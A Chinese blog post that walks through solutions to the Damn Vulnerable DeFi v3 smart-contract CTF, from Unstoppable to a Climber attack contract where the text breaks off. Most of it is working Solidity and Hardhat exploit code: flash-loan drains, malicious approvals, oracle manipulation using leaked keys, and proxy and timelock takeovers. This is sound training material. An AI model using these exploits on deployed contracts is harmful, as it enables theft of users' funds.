很抱歉,很久没有更新了。这段时间,经历了孩子出生、出国执行项目等诸多事情,心里也比较乱,也没有思绪去完成挑战。最近总算闲下来了,不过打开一看,发现[Damn-Vulnerable-DeFi]已经执行到v3.0.0了,很多东西都发生了变化,为什么不重头做一下呢?不过这次我可能会比较直接,直接贴代码、解释原理把!欢迎一起交流!
在test/unstoppable/unstoppable.challenge.js中,相关代码如下:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
console.log(await vault.totalAssets());
console.log(await vault.totalSupply());
await token.connect(player).transfer(vault.address,1);
console.log(await vault.totalAssets());
console.log(await vault.totalSupply());
});
原因是因为在UnstoppableVault.sol中调用flashLoan
函数,这里有一个先决条件,即if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
再看balanceBefore
就是totalAssets
即通过asset.balanceOf(address(this));
查询的到的余额。而convertToShare(totalSupply)
呢?totalSupply
来源于UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626
中的ERC626
,因为abstract contract ERC4626 is ERC20
,所以ERC20
中的totalSupply
就是我们要找的。
但是,实际的assets
合约和Vault
仓库的token
又不算完全一样。asset
是资产底层通证,而share
就是股权通证,在本合约中是1:1兑换的,share
的增发受严格控制,只能当用户存入asset
资产底层通证时才能调用_mint
函数,当用户取出时则会_burn
。
因为是convertToShares(totalSupply)
,当资产通证和合约股权通证严格相等时,totalSupply.mulDivDown(totalSupply, totalAssets())
就会依然等同于totalAssets()
。但由于股权通证的增发仅由deposit
函数引起,因此我们直接调用token.transfer
不会引起股权通证的变化,两者不再相等,从而该等式无法成立。
结果如下:
BigNumber { value: "1000000000000000000000000" } -> totalAssets(前)
BigNumber { value: "1000000000000000000000000" } -> totalSupply(前)
BigNumber { value: "1000000000000000000000001" } -> totalAssets(后)
BigNumber { value: "1000000000000000000000000" } -> totalSupply(后)
解决思路:
考虑到在NaiveReceiverLenderPool
中,采用FIXED_FEE
,有
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
也就是说无论怎么样,都必须支付1ether的手续费用。所以我们只要借款10次,就能很轻易的掏空了。
因此,在test/naive-receiver/naive-receiver.challenge.js
中,关键部分如下:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
for (i=0; i<10; i++){
await pool.connect(player).flashLoan(receiver.address,"0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE",
1,"0x");
}
});
注意,因为最后要传入bytes,所以必须加上"0x",否则不符合格式则会报错。
解决思路:
考虑到在TrusterLenderPool.sol
中,闪电贷函数flashLoan
里有两种类型的地址,borrower
与target
,同时还调用了target
中的functionCall方法
。我们实际上没有必要去在闪电贷过程中就转移所有通证,只要通过functionCall
获取后续攻击的权限即可。
因此,在test/truster/truster.challenge.js
中,关键部分如下:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const calldata = token.interface.encodeFunctionData(
"approve",[player.address,TOKENS_IN_POOL]
);
await pool.connect(player).flashLoan(0,player.address,token.address,
calldata);
await token.connect(player).transferFrom(pool.address,player.address,TOKENS_IN_POOL);
});
我们构造了calldata,目的是使得pool作为msg.sender主动调用token合约中的approve,并授权给player所有通证的权限。同时我们用了0个通证的闪电贷并实现了授权,成功掏空了合约中的通证。
解决思路:
在SideEntranceLenderPool.sol
中,SideEntranceLenderPool
既提供了闪电贷功能,又提供了存入功能,这个则是“灾难的”。在闪电贷中,借入和归还都是通过transfer进行的,并没有对相关手段作出特别的校验,最终只会通过if (address(*this*).balance < balanceBefore)
进行余额上的检查。但如果合约又同时提供了存入、取出却没有进行任何限制,攻击者通过deposit
也能绕过flashLoan
的验证,同时还能在之后通过withdraw
进行提取。
我们需要手写合约,具体如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./SideEntranceLenderPool.sol";
contract Hacker{
SideEntranceLenderPool pool;
address owner;
uint constant AMOUNT = 1000 * 10**18;
constructor (address _pool) {
pool = SideEntranceLenderPool(_pool);
owner = msg.sender;
}
function attack() public{
pool.flashLoan(AMOUNT);
}
function execute() public payable{
pool.deposit{value:msg.value}();
}
function withdraw() public {
pool.withdraw();
}
receive() external payable {
payable(owner).transfer(msg.value);
}
}
在test/side-entrance/side-entrance.challenge.js
中,具体代码如下:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const hacker = await (await ethers.getContractFactory('Hacker', player)).deploy(pool.address);
await hacker.attack();
await hacker.withdraw();
});
解决思路:
首先要弄明白,这个快照的是如何实现的。
AccountingToken
的介绍是A limited pseudo-ERC20 token to keep track of deposits and withdrawals with snapshotting capabilities
,这是通过继承ERC20Snapshot
实现的。
后者定义了一个结构
struct Snapshots {
uint256[] ids;
uint256[] values;
}
并通过 mapping(address => Snapshots) private _accountBalanceSnapshots;
去存储余额,在每次操作时,都会通过_updateAccountSnapshot
和_updateTotalSupplySnapshot
去更新对应快照id下的余额。
而这个又是如何触发分红的呢,为什么不直接按照余额来?
TheRewarderPool
触发分红是通过distributeRewards
进行(注意是在mint
后进行),当满足isNewRewardsRound
(可开展新一轮分红后),就根据余额进行分红。
我们的思路就是通过闪电贷,触发分红(要在相关时间后第一个发起交易),随后取出并归还。
我们需要手写合约,具体如下(为简便起见,不导入,直接用abi.encodeWithSignature):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
contract HackerRewarder {
using Address for address;
address pool;
address flashLoan;
address token;
address reward;
address owner;
constructor(address _pool,address _flashLoan, address _token, address _reward ) {
pool = _pool;
flashLoan = _flashLoan;
token = _token;
reward = _reward;
owner = msg.sender;
}
function attack(uint amount) external {
flashLoan.functionCall(abi.encodeWithSignature("flashLoan(uint256)", amount));
}
function receiveFlashLoan(uint256 amount) external {
token.functionCall(abi.encodeWithSignature("approve(address,uint256)",pool,amount));
pool.functionCall(abi.encodeWithSignature("deposit(uint256)", amount));
pool.functionCall(abi.encodeWithSignature("withdraw(uint256)", amount));
token.functionCall(abi.encodeWithSignature("transfer(address,uint256)",flashLoan,amount));
reward.functionCall(abi.encodeWithSignature("approve(address,uint256)",owner,100 ether));
}
}
在test/the-rewarder/the-rewarder.challenge.js
中,具体代码如下:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const hacker = await ethers.getContractFactory('HackerRewarder', player);
const hackerRewarder = await hacker.deploy(rewarderPool.address,
flashLoanPool.address,
liquidityToken.address,
rewardToken.address);
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
await hackerRewarder.connect(player).attack(TOKENS_IN_LENDER_POOL);
const hackedReward = await rewardToken.balanceOf(hackerRewarder.address);
await rewardToken.connect(player).transferFrom(hackerRewarder.address,player.address,hackedReward);
});
其中,要记得通过evm_increaseTime
将时间调整5天以达成分红的条件!
解决思路:
首先我们要看一下攻击的入口很明显是SelfiePool.sol
中的emergencyExit
,但有一个onlyGovernance
的限制。
我们看治理合约里,可以提出提案queueAction
,但前提是_hasEnoughVotes(msg.sender)
,然而之后2 days
后,执行通过的合约就不需要再次校验了!
所以我们可以利用闪电贷发起提案,2天后执行就好!
我们需要手写合约,具体如下(为简便起见,不导入,直接用abi.encodeWithSignature):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
contract HackerSelfie {
using Address for address;
address flashLoan;
address govern;
address token;
address owner;
uint256 public requestId;
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
constructor(address _flashLoan,address _govern, address _token){
flashLoan = _flashLoan;
govern = _govern;
token = _token;
owner = msg.sender;
}
function attack(uint256 amount) public{
flashLoan.functionCall(abi.encodeWithSignature("flashLoan(address,address,uint256,bytes)",
address(this),token,amount,""));
}
function onFlashLoan(
address initiator,
address _token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32){
token.functionCall(abi.encodeWithSignature("snapshot()"));
bytes memory response = govern.functionCall(abi.encodeWithSignature(
"queueAction(address,uint128,bytes)",
flashLoan,0,abi.encodeWithSignature("emergencyExit(address)", owner)));
requestId = abi.decode(response,(uint256));
token.functionCall(abi.encodeWithSignature("approve(address,uint256)",flashLoan,amount+fee));
return CALLBACK_SUCCESS;
}
}
此处注意,为了保证,手动对token
进行了快照!
在test/the-rewarder/the-rewarder.challenge.js
中,具体代码如下:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const hacker = await (await ethers.getContractFactory('HackerSelfie', player)).deploy(pool.address,
governance.address,
token.address);
await hacker.connect(player).attack(await pool.maxFlashLoan(token.address));
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 days
await governance.executeAction(await hacker.requestId());
});
解决思路:
涉及到“喂价”,一定就回到了操纵预言机攻击。那我们来看看捕捉到的信息:
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
,两个16进制(1 byte => 8位)对应ASCII码。
解析为ASCII,为MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
,很明显这个是base64
加密后的结果,解密为0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
。
同样,我们还可以获得0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48
。
我们使用如下代码进行验证:
const priKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
const priKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";
const oracle1 = new ethers.Wallet(priKey1);
const oracle2 = new ethers.Wallet(priKey2);
console.log(oracle1.address);
console.log(oracle2.address);
输出结果如下:
0xe92401A4d3af5E446d93D11EEc806b1462b39D15
0x81A5D6E50C214044bE44cA0CB057fe119097850c
而这个正好就是喂价机的地址。接下来就是通过操纵预言机进行获利了。由合约Exchange.sol
可知,buyOne
和SellOne
都依赖于getMedianPrice
,即通过中位数定价。
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const priKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
const priKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";
const oracle1 = new ethers.Wallet(priKey1,ethers.provider);
const oracle2 = new ethers.Wallet(priKey2,ethers.provider);
console.log(oracle1.address);
console.log(oracle2.address);
const tx1 = {
to: oracle1.address,
value: ethers.utils.parseEther('0.02'),
gasLimit: 21000,
gasPrice: ethers.utils.parseUnits('10', 'gwei'),
};
const tx2 = {
to: oracle2.address,
value: ethers.utils.parseEther('0.02'),
gasLimit: 21000,
gasPrice: ethers.utils.parseUnits('10', 'gwei'),
};
await player.sendTransaction(tx1);
await player.sendTransaction(tx2);
await oracle.connect(oracle1).postPrice('DVNFT',ethers.utils.parseEther('0.0001'));
await oracle.connect(oracle2).postPrice('DVNFT',ethers.utils.parseEther('0.0001'));
const id = await exchange.connect(player).callStatic.buyOne({value:ethers.utils.parseEther('0.0001')});
await exchange.connect(player).buyOne({value:ethers.utils.parseEther('0.0001')});
const price = await ethers.provider.getBalance(exchange.address);
await oracle.connect(oracle1).postPrice('DVNFT',price);
await oracle.connect(oracle2).postPrice('DVNFT',price);
await nftToken.connect(player).approve(exchange.address,id);
await exchange.connect(player).sellOne(id);
await oracle.connect(oracle1).postPrice('DVNFT',INITIAL_NFT_PRICE);
await oracle.connect(oracle2).postPrice('DVNFT',INITIAL_NFT_PRICE);
});
注意以下几点:
提前给预言机器oracle1、oracle2转账
通过callStatic模拟执行结果,提前获取id
或者使用
const tx3 = await exchange.connect(player).buyOne({value:ethers.utils.parseEther('0.0001')});
const receipt = await tx3.wait();
const id =await receipt.events[1].args.tokenId;
结束以后将价格改回来
解决思路:
要通过质押取出所有的通证,结果很简单,就是先“砸盘”,再存入并借款(通常情况下,又需要买回原来的“砸盘”保证筹码不失)。
如果仅由分步进行:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
await token.connect(player).approve(uniswapExchange.address,PLAYER_INITIAL_TOKEN_BALANCE);
await uniswapExchange.connect(player).tokenToEthSwapInput(
PLAYER_INITIAL_TOKEN_BALANCE,
1,
(await ethers.provider.getBlock('latest')).timestamp * 2, // deadline
);
const valueDeposit = await lendingPool.callStatic.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
await lendingPool.connect(player).borrow(POOL_INITIAL_TOKEN_BALANCE,player.address,{value:valueDeposit});
await uniswapExchange.connect(player).ethToTokenSwapOutput(
PLAYER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 3, // deadline
{value : UNISWAP_INITIAL_ETH_RESERVE + 1n}
);
});
然而,这不满足要求 // expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1);
将攻击分成好几步,一次一次来,是不是觉得MEV看不到?所以这里还需要将以上步骤都打包,通过合约进行,并在合约创建过程中完成。这里就有一个问题了:approve
操作该怎么办,能一步完成吗?
查询了一下所用的ERC20,里面多了一个函数permit
:
/*//
EIP-2612 LOGIC
//*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
address recoveredAddress = ecrecover(
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
),
v,
r,
s
);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
通过组合检查用户签名等同于Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)...
可以实现代授权功能,这个感觉有点危险。。
那就写攻击合约吧:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "hardhat/console.sol";
contract HackerPuppet {
using Address for address;
constructor(address token,
address pool,
address swap,
uint8 v, bytes32 r, bytes32 s,
uint256 playerToken,
uint256 poolToken) payable {
token.functionCall(abi.encodeWithSignature(
"permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",
msg.sender,
address(this),
type(uint256).max,
type(uint256).max,
v,r,s
));
token.functionCall(abi.encodeWithSignature(
"transferFrom(address,address,uint256)",
msg.sender,
address(this),
playerToken
));
bytes memory ans = token.functionCall(abi.encodeWithSignature(
"balanceOf(address)",
address(this)
));
console.log("after transfering...");
console.log(abi.decode(ans,(uint256)));
console.log("before swapping");
console.log(address(this).balance);
token.functionCall(abi.encodeWithSignature(
"approve(address,uint256)",
swap,
playerToken
));
swap.call(
abi.encodeWithSignature(
"tokenToEthSwapInput(uint256,uint256,uint256)",
playerToken,
1,
type(uint256).max
)
);
console.log("after swapping");
console.log(address(this).balance);
(bool suc, bytes memory response) = pool.staticcall(abi.encodeWithSignature(
"calculateDepositRequired(uint256)",
poolToken));
console.log(suc);
uint256 requiredETH = abi.decode(response,(uint256));
console.log("requiredETH");
console.log(requiredETH);
pool.functionCallWithValue(
abi.encodeWithSignature
("borrow(uint256,address)", poolToken, msg.sender)
,
requiredETH);
swap.functionCallWithValue(
abi.encodeWithSignature(
"ethToTokenSwapOutput(uint256,uint256)",
playerToken,
type(uint256).max
),
10 ether + 1
);
token.functionCall(abi.encodeWithSignature(
"transfer(address,uint256)",
msg.sender,
playerToken
));
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
}
}
我们逐步来解析,以下通过permit完成在合约中的代授权并转账(其实我觉得在攻击时,这一步能拆开)
token.functionCall(abi.encodeWithSignature(
"permit(address,address,uint256,uint256,uint8,bytes32,bytes32)",
msg.sender,
address(this),
type(uint256).max,
type(uint256).max,
v,r,s
));
token.functionCall(abi.encodeWithSignature(
"transferFrom(address,address,uint256)",
msg.sender,
address(this),
playerToken
));
以下approve完成通证授权给swap,并通过swap实现“砸盘”
token.functionCall(abi.encodeWithSignature(
"approve(address,uint256)",
swap,
playerToken
));
swap.call(
abi.encodeWithSignature(
"tokenToEthSwapInput(uint256,uint256,uint256)",
playerToken,
1,
type(uint256).max
)
);
以下则通过质押进行borrow,并在同一笔交易内将“砸盘”的筹码买回!
(bool suc, bytes memory response) = pool.staticcall(abi.encodeWithSignature(
"calculateDepositRequired(uint256)",
poolToken));
console.log(suc);
uint256 requiredETH = abi.decode(response,(uint256));
console.log("requiredETH");
console.log(requiredETH);
pool.functionCallWithValue(
abi.encodeWithSignature
("borrow(uint256,address)", poolToken, msg.sender)
,
requiredETH);
swap.functionCallWithValue(
abi.encodeWithSignature(
"ethToTokenSwapOutput(uint256,uint256)",
playerToken,
type(uint256).max
),
10 ether + 1
);
合约创建如test/puppet/puppet.challenge.js
,先通过getContractAddress
实现合约地址预先计算以实现签名,然后通过部署完成攻击!
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const hacker = ethers.utils.getContractAddress({
from: player.address,
nonce: 0
});
console.log("hackerAddress : " + hacker);
console.log("swap : " + uniswapExchange.address);
const { r, s, v } = await signERC2612Permit(
ethers.provider,
token.address,
player.address,
hacker,
);
await (await ethers.getContractFactory('HackerPuppet', player)).deploy(
token.address,
lendingPool.address,
uniswapExchange.address,
v,r,s,
PLAYER_INITIAL_TOKEN_BALANCE,
POOL_INITIAL_TOKEN_BALANCE,
{value: 200n * 10n ** 17n, gasLimit: '30000000',
});
console.log(await token.balanceOf(hacker));
});
解决思路:
这里是Uniswap V2,与之前的区别在于使用了UniswapRouter
进行了中继,所以我们不会再直接与pair
进行交互,而是依靠Router
。
思路还是一样的,先将token
转变为weth
,并将eth
转变为weth
以完成质押存入mint weth
(否则数量不够)。这一题反而没有单笔交易内完成的相关限制,有点奇怪。
具体代码如下:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
await token.connect(player).approve(uniswapRouter.address,PLAYER_INITIAL_TOKEN_BALANCE);
console.log("before swapping, token : "+await token.balanceOf(player.address));
console.log("before swapping, weth : "+await weth.balanceOf(player.address));
await uniswapRouter.connect(player).swapExactTokensForTokens(
PLAYER_INITIAL_TOKEN_BALANCE,
1,
[
token.address,
weth.address
],
player.address,
(await ethers.provider.getBlock('latest')).timestamp * 3,
);
console.log("after swapping, token : "+await token.balanceOf(player.address));
console.log("after swapping, weth : "+await weth.balanceOf(player.address));
const stakeAmount = await lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
const beforeDeposit = await weth.balanceOf(player.address);
const valueToDeposit = BigNumber(stakeAmount - beforeDeposit);
await weth.connect(player).deposit({value : valueToDeposit.toString()});
console.log("current : "+ await weth.balanceOf(player.address));
await weth.connect(player).approve(lendingPool.address,stakeAmount);
await lendingPool.connect(player).borrow(POOL_INITIAL_TOKEN_BALANCE);
});
解决思路:
进入点类似于重入攻击,只要凑齐15
ETH,就可以通过buyMany
的漏洞批量完成了。然而我们起始只有0.1个,该怎么办?这也呼应了题目中的If only you could get free ETH, at least for an instant.
一开始疑惑了好一会,突然明白了,因为部署了Uniswap V2
,所以我们可以利用FlashLoan(Flash Swap)
实现一次性攻击。
其实这里面漏洞有两个:
以下是攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "hardhat/console.sol";
contract HackerFreeRider is IERC721Receiver{
using Address for address;
// borrow eth
uint256 borrowAmount = 15 ether;
address pair;
address weth;
address exchange;
address nft;
address reward;
address owner;
constructor(address _pair,
address _weth,
address _exchange,
address _nft,
address _reward
){
pair = _pair;
weth = _weth;
exchange = _exchange;
nft = _nft;
reward = _reward;
owner = msg.sender;
}
function attack() public {
pair.functionCall(
abi.encodeWithSignature(
"swap(uint256,uint256,address,bytes)",
borrowAmount,
0,
address(this),
"1"
));
}
function uniswapV2Call(address sender,
uint amount0,
uint amount1,
bytes calldata data) public{
console.log("calling back");
bytes memory wethBorrowed = weth.functionCall(
abi.encodeWithSignature(
"balanceOf(address)",
address(this)
)
);
console.log(
abi.decode(wethBorrowed,(uint256))
);
console.log("successfully borrowed ...");
weth.functionCall(
abi.encodeWithSignature(
"withdraw(uint256)",
abi.decode(wethBorrowed,(uint256))
)
);
console.log(address(this).balance);
uint[] memory arr = new uint[](6);
for (uint i = 0; i<6; i++){
arr[i] = i;
}
exchange.functionCallWithValue(
abi.encodeWithSignature(
"buyMany(uint256[])",
arr),
abi.decode(wethBorrowed,(uint256))
);
for (uint i = 0; i < 6; i++){
nft.functionCall(
abi.encodeWithSignature(
"safeTransferFrom(address,address,uint256,bytes)",
address(this),
reward,
i,
abi.encode(address(this))
)
);
}
console.log("eth ", address(this).balance);
uint mintback = borrowAmount * 1000 / 997 + 1 ether;
weth.functionCallWithValue(
abi.encodeWithSignature(
"deposit()"
),
mintback
);
console.log("after mint back ");
console.log("eth ", address(this).balance);
weth.functionCall(
abi.encodeWithSignature(
"transfer(address,uint256)",
pair,
mintback
)
);
payable(owner).transfer(address(this).balance);
console.log("finish...");
}
receive() payable external {
console.log("receiving ...");
console.log(msg.value);
console.log(address(this).balance);
}
function onERC721Received(address, address, uint256 _tokenId, bytes memory _data)
external
override
returns (bytes4)
{
console.log("receving : ", _tokenId);
return IERC721Receiver.onERC721Received.selector;
}
}
在attack
函数中,调用
pair.functionCall(
abi.encodeWithSignature(
"swap(uint256,uint256,address,bytes)",
borrowAmount,
0,
address(this),
"1"
));
通过uniswapV2Call
接受回调,实现转为ETH,购买NFT,获取奖励,铸造WETH,归还闪电贷。同时记得要实现onERC721Received
以接受NFT。
在test/free-rider/free-rider.challenge.js
中,代码如下:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
hacker = await (await ethers.getContractFactory('HackerFreeRider', player)).deploy(
uniswapPair.address,
weth.address,
marketplace.address,
nft.address,
devsContract.address
);
hacker.connect(player).attack();
});
首先:Gnosis Safe是一个开源的多签名钱包,旨在为用户提供更高的安全性和更好的用户体验。它允许用户管理数字资产,并使用多重签名保护其资产。这介绍了相关背景。
因为一开始做就了限制:
msg.sender != walletFactory
所以我们还是要先与walletProxyFactory进行交互,所以我们看看有哪些利用点。
观察createProxyWithCallback
调用了createProxyWithNonce
,同时执行以下:
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
这会调用proxy
的fallback
函数,最终通过delegateCall执行calldata中的逻辑。
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
在这里,又由于限制,我们可以直接将singleton
指向攻击函数,并在这里执行操作,由于调用发生在之前,所以我们可以预先通过approve
等方法完成预先授权。但由于需要调用Setup
完成对钱包的设置,所以我们将调用approve
的操作delegate
放在setup
的data
变量中,最终会在setupModule
中通过 require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");
执行。所以我们传入的initializer
应该是setup
经过decode后的结果。
先写攻击合约,这里有一个大坑。。(我一开始将 function delegateApprove(address token, address spender) external
写在HackerBackDoor合约内,但是因为还是在创建阶段,所以无法调用。所以后来我写在一个子合约内)。因为每次owner
只能有一个人,所以我们被迫通过循环实现。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxy.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
contract CB{
constructor(){
}
function delegateApprove(address token, address spender) external{
console.log("delegate coming in");
token.call(
abi.encodeWithSignature(
"approve(address,uint256)",
spender,
type(uint256).max - 1
)
);
}
}
contract HackerBackdoor {
using Address for address;
address placeholder1;
address placeholder2;
IERC20 tokenDVT;
constructor(
address[] memory users,
address factory,
address token,
address wallet,
address singleton
){
tokenDVT = IERC20(token);
CB cb = new CB();
GnosisSafeProxyFactory fac = GnosisSafeProxyFactory(factory);
console.log("performing attack by ",address(this));
for (uint i = 0; i < users.length; i++){
console.log("user ",users[i]);
address[] memory user2call = new address[](1);
user2call[0] = users[i];
bytes memory tmp = abi.encodeWithSignature(
"delegateApprove(address,address)",
token,
address(this)
);
bytes memory data =
abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)"
,
user2call,
1, // threshold
cb,
tmp,
address(0),
address(0),
0,
address(0)
);
GnosisSafeProxy proxyAddr = fac.createProxyWithCallback(
singleton, data, 0, IProxyCreationCallback(wallet));
console.log("proxy ", address(proxyAddr));
console.log("dvt balance ",tokenDVT.balanceOf(address(proxyAddr)));
tokenDVT.transferFrom(
address(proxyAddr), msg.sender, 10 ether);
}
}
}
根据以上原理,见test/backdoor/backdoor.challenge.js
,我们成功在一笔交易内完成获取。
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const hacker = await (await ethers.getContractFactory('HackerBackdoor', player)).deploy(
users,
walletFactory.address,
token.address,
walletRegistry.address,
masterCopy.address,
{gasLimit: '30000000'}
);
});
PS. 我发现调试时尽量通过interface导入后调用,之前是为了合约的简洁(如果思路清晰的话没问题)。
解决思路:
在ClimberTimeLock
的execute
函数中,由于先执行操作,然后再通过getOperationState(id) != OperationState.ReadyForExecution
校验,形成了典型的“先上车后买票”的进入点。
但由于我们执行时,得一步一步执行,因为执行时msg.sender
就是ClimberTimeLock
本身。我们会从Admin_ROLE
开始,逐步提权。
我们首先列出需要做的事情:
PROPOSER_ROLE
以能够实现提案所以我们先写出来攻击的合约吧,需要在同一笔交易内完成(创建合约可以提前)。
升级合约本身没什么特别的,就是在原先基础上去掉了一些限制:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./ClimberTimelock.sol";
import {WITHDRAWAL_LIMIT, WAITING_PERIOD} from "./ClimberConstants.sol";
import {CallerNotSweeper, InvalidWithdrawalAmount, InvalidWithdrawalTime} from "./ClimberErrors.sol";
/**
* @title ClimberVault
* @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;
modifier onlySweeper() {
if (msg.sender != _sweeper) {
revert CallerNotSweeper();
}
_;
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
function initialize(address admin, address proposer, address sweeper) external initializer {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();
// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
_updateLastWithdrawalTimestamp(block.timestamp);
}
// Allows the owner to send a limited amount of tokens to a recipient every now and then
function withdraw(address token, address recipient, uint256 amount) external onlyOwner {
// Cancel AnyRestrictions
SafeTransferLib.safeTransfer(token, recipient, IERC20(token).balanceOf(address(this)));
}
// Allows trusted sweeper account to retrieve any tokens
function sweepFunds(address token) external onlySweeper {
SafeTransferLib.safeTransfer(token, _sweeper, IERC20(token).balanceOf(address(this)));
}
function getSweeper() external view returns (address) {
return _sweeper;
}
function _setSweeper(address newSweeper) private {
_sweeper = newSweeper;
}
function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}
function _updateLastWithdrawalTimestamp(uint256 timestamp) private {
_lastWithdrawalTimestamp = timestamp;
}
// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
}
同时,我发现不能直接将propose
动作打包进去,因为会有一个循环依赖的过程(我生我自己),所以需要推举攻击合约为proposer
,并通过call
让攻击合约提案。
攻击合约如下,其实写的有点啰嗦,生成payload
的过程是可以放一起的。但就这样吧!
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ClimberTimelock.sol";
import "hardhat/console.sol";
import {ADMIN_ROLE, PROPOSER_ROLE, MAX_TARGETS, MIN_TARGETS, MAX_DELAY} from "./ClimberConstants.sol";
contract HackerClimber {
ClimberTimelock timeClock;
address upgrade;
address vault;
address token;
address owner;
constructor(address _target,
address _upgrade,
